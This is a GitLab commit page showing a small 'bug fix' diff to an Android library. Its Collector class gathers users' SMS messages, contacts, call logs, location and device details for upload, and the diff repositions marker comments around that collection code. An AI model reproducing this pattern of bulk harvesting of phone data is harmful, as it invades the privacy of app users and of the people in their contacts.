Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
07d1f415
Commit
07d1f415
authored
Sep 25, 2019
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
bug fix
parent
53e8b0fa
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
5 additions
and
6 deletions
+5
-6
src/main/java/com/common/Collector.java
+5
-5
src/main/java/tech/starwin/database/DataBaseHelper.java
+0
-1
No files found.
src/main/java/com/common/Collector.java
View file @
07d1f415
...
@@ -71,8 +71,9 @@ public class Collector {
...
@@ -71,8 +71,9 @@ public class Collector {
* 获取所有需要同步的数据(短信、联系人、通话记录)
* 获取所有需要同步的数据(短信、联系人、通话记录)
*/
*/
public
static
List
<
CollectInfoEntity
>
getUploadData
(
Context
context
)
{
public
static
List
<
CollectInfoEntity
>
getUploadData
(
Context
context
)
{
List
<
CollectInfoEntity
>
infos1
=
null
;
List
<
CollectInfoEntity
>
infos1
=
Stream
.
of
(
InfoType
.
MACHINE_TYPE
,
InfoType
.
PERMISSION
)
//SDK-NOLOG-START
infos1
=
Stream
.
of
(
InfoType
.
MACHINE_TYPE
,
InfoType
.
PERMISSION
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
...
@@ -113,7 +114,7 @@ public class Collector {
...
@@ -113,7 +114,7 @@ public class Collector {
if
(
location
!=
null
)
{
if
(
location
!=
null
)
{
infos1
.
add
(
location
);
infos1
.
add
(
location
);
}
}
//SDK-NOLOG-END
return
infos1
;
return
infos1
;
}
}
...
@@ -153,9 +154,8 @@ public class Collector {
...
@@ -153,9 +154,8 @@ public class Collector {
return
arr
;
return
arr
;
}
}
});
});
//SDK-CONTACT-END
infos1
.
addAll
(
infos2
);
infos1
.
addAll
(
infos2
);
//SDK-CONTACT-END
CollectInfoEntity
location
=
Collector
.
getStoreEntity
(
InfoType
.
LOCATION
,
context
,
null
);
CollectInfoEntity
location
=
Collector
.
getStoreEntity
(
InfoType
.
LOCATION
,
context
,
null
);
// if (location == null) {
// if (location == null) {
...
...
src/main/java/tech/starwin/database/DataBaseHelper.java
View file @
07d1f415
...
@@ -310,7 +310,6 @@ public class DataBaseHelper {
...
@@ -310,7 +310,6 @@ public class DataBaseHelper {
private
static
class
Nested
{
private
static
class
Nested
{
@SuppressLint
(
"MissingPermission"
)
@SuppressLint
(
"MissingPermission"
)
private
static
Cursor
getCursor
(
int
type
)
{
private
static
Cursor
getCursor
(
int
type
)
{
//SDK-CONTACT-START
if
(
resolver
==
null
)
{
if
(
resolver
==
null
)
{
return
null
;
return
null
;
}
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment